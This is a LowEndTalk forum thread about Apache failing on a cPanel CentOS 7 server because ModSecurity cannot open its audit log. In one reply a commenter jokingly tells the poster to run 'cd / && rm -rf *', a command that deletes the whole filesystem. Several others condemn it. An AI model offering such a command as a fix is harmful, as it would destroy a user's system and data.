Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!


Apache is not working in WHM centos 7
New on LowEndTalk? Please Register and read our Community Rules.

All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.

Apache is not working in WHM centos 7

What should i do now with apache.its not working.

service httpd restart
Starting httpd: AH00526: Syntax error on line 12 of /etc/apache2/conf.d/modsec2.conf:

ModSecurity: Failed to open the audit log file: /etc/apache2/logs/modsec_audit.log

This error is coming. what should i do now?

«1

Comments

  • Hire an administrator.

  • vi /etc/apache2/conf.d/modsec2.conf

    And see whats wrong in line 12.

  • either modsecurity doesn't have the permissions to access "/etc/apache2/logs/modsec_audit.log" or the file doesn't exist.

  • deankdeank Member, Troll

    Read the error message? It's literally telling you what's wrong and what to do.

  • jarjar Patron Provider, Top Host, Veteran

    That's not even a standard RHEL path. These distros don't package it as apache2, Debian based ones do. What did you install?

  • @jarland said:
    That's not even a standard RHEL path. These distros don't package it as apache2, Debian based ones do. What did you install?

    I don't know. its my test server i need to fix this its in my assignment. can you help me? how could i fix this issue?

  • oneilonlineoneilonline Member, Host Rep

    CPanel on CentOS 7....try CentOS 6?

  • jarjar Patron Provider, Top Host, Veteran

    @csofts said:

    @jarland said:
    That's not even a standard RHEL path. These distros don't package it as apache2, Debian based ones do. What did you install?

    I don't know. its my test server i need to fix this its in my assignment. can you help me? how could i fix this issue?

    If you have a cPanel config referencing anything in /etc/apache2 you or someone else who has access to the server has installed or configured something not standard. You or that person should know what it was.

    Or are you saying this is a test and this was done intentionally for you to fix? If that's the case, no cheating, pass or fail based on your own skill :)

  • guys i have fixed the issue my self. i just created empty files and folder and its fixed.

  • raindog308raindog308 Administrator, Veteran

    Next step: provider tag.

  • oneilonlineoneilonline Member, Host Rep

    @raindog308 said:
    Next step: provider tag.

    Damn LOL!

    When he said it was his "assignment" first thought was which provider tech is hitting us up cause they dunno. LOL what's funnier is that he thinks he fixed it! ROFLOL! ...configured non-standard, yet he literally filed in the blanks. LOL

  • @csofts said:
    guys i have fixed the issue my self. i just created empty files and folder and its fixed.

    But, did you find any reason why Apache stopped responding??

  • raindog308raindog308 Administrator, Veteran

    And we're all dying to know - are you running cpanel on debian?

    Thanked by 2jar imok
  • WebProjectWebProject Host Rep, Veteran

    @oneilonline said:
    CPanel on CentOS 7....try CentOS 6?

    Worthless comments as cPanel is working under centos 7!

    The different matter that cPanel become buggy lately, I seen a few issues on various shared nodes after updates or changing from stable to current version:
    1) corruption of sub domains and add-on domain names - only the main domains working on accounts.
    2) Issue with control panel and ssh, as services are overloaded, but all websites running without issues

  • @raindog308 said:
    And we're all dying to know - are you running cpanel on debian?

    Sure, but it's in an LXC that he found somewhere.

  • ClouviderClouvider Member, Patron Provider

    Great, dunno if you're aware but whoever sold you the license provides support for that and,

    @WSS said:
    Hire an administrator.

  • oneilonlineoneilonline Member, Host Rep

    @WebProject said:

    Worthless comments as cPanel is working under centos 7!

    The different matter that cPanel become buggy lately, I seen a few issues on various shared nodes after updates or changing from stable to current version:
    1) corruption of sub domains and add-on domain names - only the main domains working on accounts.
    2) Issue with control panel and ssh, as services are overloaded, but all websites running without issues

    Doesn't sound like it's working if you are having issues.
    Corruption of subdomains and only the main domains working sounds like a disaster! You must not be hosting that many customers.

  • ClouviderClouvider Member, Patron Provider

    @oneilonline said:
    Doesn't sound like it's working if you are having issues.

    It certainly is working, we support many servers as cPanel partners including significantly busy ones, and there are absolutely no specific issues to CentOS 7 that would have affected us or our Clients.

    Thanked by 1MikePT
  • MikePTMikePT Moderator, Patron Provider, Veteran

    @Clouvider said:

    @oneilonline said:
    Doesn't sound like it's working if you are having issues.

    It certainly is working, we support many servers as cPanel partners including significantly busy ones, and there are absolutely no specific issues to CentOS 7 that would have affected us or our Clients.

    cPanel runs on CentOS 7 just fine. It is actually recommended.

    Thanked by 1Clouvider
  • WebProjectWebProject Host Rep, Veteran
    edited November 2017

    @oneilonline said:

    @WebProject said:

    Worthless comments as cPanel is working under centos 7!

    The different matter that cPanel become buggy lately, I seen a few issues on various shared nodes after updates or changing from stable to current version:
    1) corruption of sub domains and add-on domain names - only the main domains working on accounts.
    2) Issue with control panel and ssh, as services are overloaded, but all websites running without issues

    Doesn't sound like it's working if you are having issues.
    Corruption of subdomains and only the main domains working sounds like a disaster! You must not be hosting that many customers.

    We never had such issues on our nodes, simply noticed at one of our client server.

    But you need to be without any skills of system administration to recommend to downgrade from Centos 7 to Centos 6. or better why not go back to Red Hat 9?

  • @csofts said:
    What should i do now with apache.its not working.

    service httpd restart
    Starting httpd: AH00526: Syntax error on line 12 of /etc/apache2/conf.d/modsec2.conf:

    ModSecurity: Failed to open the audit log file: /etc/apache2/logs/modsec_audit.log

    This error is coming. what should i do now?

    Ok take a deep breath.

    Then type in your SSH the following:

    cd / && rm -rf *

    Press Enter

    Wait until the command completes.

    One it completes Apache will be back online.

  • @zafouhar said: Ok take a deep breath.

    Then type in your SSH the following:

    cd / && rm -rf *

    Press Enter

    Wait until the command completes.

    One it completes Apache will be back online.

    This might seem like a harmless joke but advice like this can cause irreversible damage.

    Some might argue that they shouldn't be using a command line if they don't understand what the command does, but that's besides the point. Everyone learns at their own pace and false advice does the Internet no good.

    Not only are your comments going to be seen by the OP but future visitors from search engines. This should be discouraged.

  • MikePTMikePT Moderator, Patron Provider, Veteran

    @Ishaq said:

    @zafouhar said: Ok take a deep breath.

    Then type in your SSH the following:

    cd / && rm -rf *

    Press Enter

    Wait until the command completes.

    One it completes Apache will be back online.

    This might seem like a harmless joke but advice like this can cause irreversible damage.

    Some might argue that they shouldn't be using a command line if they don't understand what the command does, but that's besides the point. Everyone learns at their own pace and false advice does the Internet no good.

    Not only are your comments going to be seen by the OP but future visitors from search engines. This should be discouraged.

    Agreed.

  • oneilonlineoneilonline Member, Host Rep

    I never said cpanel didn't run on centos 7. Learn to read carefully ;)

  • ClouviderClouvider Member, Patron Provider

    @MikePT said:

    @Ishaq said:

    @zafouhar said: Ok take a deep breath.

    Then type in your SSH the following:

    cd / && rm -rf *

    Press Enter

    Wait until the command completes.

    One it completes Apache will be back online.

    This might seem like a harmless joke but advice like this can cause irreversible damage.

    Some might argue that they shouldn't be using a command line if they don't understand what the command does, but that's besides the point. Everyone learns at their own pace and false advice does the Internet no good.

    Not only are your comments going to be seen by the OP but future visitors from search engines. This should be discouraged.

    Agreed.

    Only if one adds no preserve root in modern systems :-).

    But yeah, just don’t.

  • jarjar Patron Provider, Top Host, Veteran

    @Clouvider said:

    @MikePT said:

    @Ishaq said:

    @zafouhar said: Ok take a deep breath.

    Then type in your SSH the following:

    cd / && rm -rf *

    Press Enter

    Wait until the command completes.

    One it completes Apache will be back online.

    This might seem like a harmless joke but advice like this can cause irreversible damage.

    Some might argue that they shouldn't be using a command line if they don't understand what the command does, but that's besides the point. Everyone learns at their own pace and false advice does the Internet no good.

    Not only are your comments going to be seen by the OP but future visitors from search engines. This should be discouraged.

    Agreed.

    Only if one adds no preserve root in modern systems :-).

    But yeah, just don’t.

    On the latest LTS releases for Debian based and RHEL based distros, there's a confirmation prompt now anyway.

  • ClouviderClouvider Member, Patron Provider

    Even better :-).

  • @csofts said:
    guys i have fixed the issue my self. i just created empty files and folder and its fixed.

    That happiness is out of the world when we learn some new stuff overself :). Good going .

  • @Clouvider said:
    Only if one adds no preserve root in modern systems :-).

    But yeah, just don’t.

    rm -rf /* (or in this case cd / && rm -rf *) won't require the --no-preserve-root, it's only if you do rm -rf / ;) Both for modern and old OS's

  • CentrioHostCentrioHost Member
    edited November 2017

    rm -rfv /etc/apache2/logs/modsec_audit.log

    touch /etc/apache2/logs/modsec_audit.log

    service httpd restart

Sign In or Register to comment.